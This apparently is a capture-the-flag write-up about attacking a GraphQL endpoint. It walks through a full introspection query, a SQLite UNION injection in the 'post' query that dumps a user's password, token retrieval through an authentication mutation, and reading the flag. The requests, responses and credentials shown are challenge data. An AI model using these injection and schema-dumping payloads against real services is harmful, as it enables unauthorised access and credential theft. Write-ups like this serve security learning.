After we started searching, we found GraphQL on /graphql.With big payload from PayloadsAllTheThings we can get all the information out of it.
For convenience, we can use "GraphQL Voyager" extension in Burpsuite.
Request:
```{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}```
The information we received from the response we can put to https://apis.guru/graphql-voyager/ and get an easy-to-view graph.![](https://user-images.githubusercontent.com/83348650/133906491-7e76d659-ed62-4174-acb3-1953a4cfdb84.png)In this graph we see that we have "flag" query.Let's try to send a request:```query {	flag}```But we get in response:```"message":"error authenticating user: invalid token"```
After spending a lot of time on Google and looking for information about GraphQL, and sending a large number of requests, we found SQLite injection on post query:```query UserQuery{    post (name:"' union select 1,2,3,password,5,6 from users --") {			content	}}	```response:```"content":"n8bboB!3%vDwiASVgKhv"```From the posts on the site we found name of the author - congon4tor.
Now we have credentials congon4tor:n8bboB!3%vDwiASVgKhv
Need to get token with this credentials.
With the help of my teammate jelly7183
request:```query {	__schema {		types {			name,fields {				name, args { 					name,description,type { 						name, kind, ofType {							name, kind						}					}				}			}		}	}}```response:```"name":"authenticateUser"```
Now need to send request with mutation to authenticateUser.
request:```mutation {	authenticateUser(username:"congon4tor", password:"n8bboB!3%vDwiASVgKhv"){token}}```response:```"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbmdvbjR0b3IiLCJleHAiOjE2MzIxNjQ5MjksImlhdCI6MTYzMTk5MjEyOSwiaXNzIjoiQ29uZ29uNHRvciJ9.ObmWd65tvTGUOIAIo1u4XmiScZE00tvA7Gu_Dtm1cpQ"```Great, now we have a token, it remains to form a normal request to "flag" query.Add this header to HTTP request:```Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbmdvbjR0b3IiLCJleHAiOjE2MzIxNjE1NzIsImlhdCI6MTYzMTk4ODc3MiwiaXNzIjoiQ29uZ29uNHRvciJ9.Gqllh1rt_OHVcTWMfRREZy0pKPRxhlsvxQFw6Wu0rxE```and set```query {	flag}```and we have flag in response:```"flag":"flag{9d26b6e4a765ecd87fe03a1494c22236}"```